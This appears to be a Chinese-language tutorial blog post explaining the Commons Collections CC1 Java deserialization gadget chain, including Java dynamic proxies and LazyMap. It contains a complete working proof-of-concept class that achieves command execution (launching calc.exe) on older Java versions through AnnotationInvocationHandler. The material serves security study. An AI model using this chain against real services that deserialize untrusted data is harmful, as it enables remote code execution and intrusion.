java安全之CC1浅学(3)
前言
有了前面两篇,对Java反序列化导致的RCE有一定认识了。但是在ysoserial
中CC1
的利用链和上一篇介绍的不同啊,严格来说上面的不算CC1
利用链,因为CC1利用链应该用的是LazyMap
而不是TransformedMap
。
TransformedMap的出处:
LazyMap
LazyMap
和TransformedMap
类似,都来自于Common-Collections
库,并继承 AbstractMapDecorator
区别就是TransformedMap是在写入元素的时候执行会transform
,而LazyMap是在其get方法中执行的factory.transform
。因为LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用factory.transform
方法去获取一个值。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
相比于TransformedMap
的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到 Map的get
方法
所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke
方法有调用到get
那么又如何能调用到 AnnotationInvocationHandler#invoke
呢?ysoserial的作者想到的是利用Java的对象代理
Java对象代理
举一个简单的例子,供货商发货给超市,我们去超市买东西。
此时超市就相当于一个代理,我们可以直接去供货商买东西,但没多少人会这么做。
在Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用
而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用
当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容。
需要使用 java.reflect.Proxy
;
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑。
比如我们写这样一个类ExampleInvocationHandler
:
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("HookMethod:" + method.getName());
return "Hacker";
}
return method.invoke(this.map, args);
}
}
ExampleInvocationHandler
类实现了invoke
方法,作用是在监控到调用的方法名是get
的时候,返回一个特殊字符串Hacker
。
在外部调用这个ExampleInvocationHandler
:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
这里首先定义了一个handler
,通过其实现对某个类接口的调用。
接着定义了一个代理对象proxyMap
,
运行App,我们可以发现,虽然我向Map放入的hello值为world,但我们获取到的结果却是 Hacker
我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
构造利用链
在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap
替换 TransformedMap:
TransformedMapMap outerMap = LazyMap.decorate(innerMap, transformerChain);
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
代理后的对象叫做proxyMap
,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要再用 AnnotationInvocationHandler
对这个proxyMap
进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
所以,结合上述的一些修改,构造的POC如下:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
new Class[]{Map.class},handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
改进
这里高版本依旧不能命令执行,可以看到序列化成功了,但反序列化报错
还是使用8U71
之前的版本才能成功命令执行,
在调试上述POC的时候,发现弹出了两个计算器,原因是什么呢?有可能是没到有执行到readObject
的时候就弹出了计算器。
在使用Proxy
代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致触发命令
ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain 中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次 Proxy#invoke
):
小结
分析了利用LazyMap
来构造了POC,但是LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。
高版本的Java遇到CommonCollections,到底如何解决呢?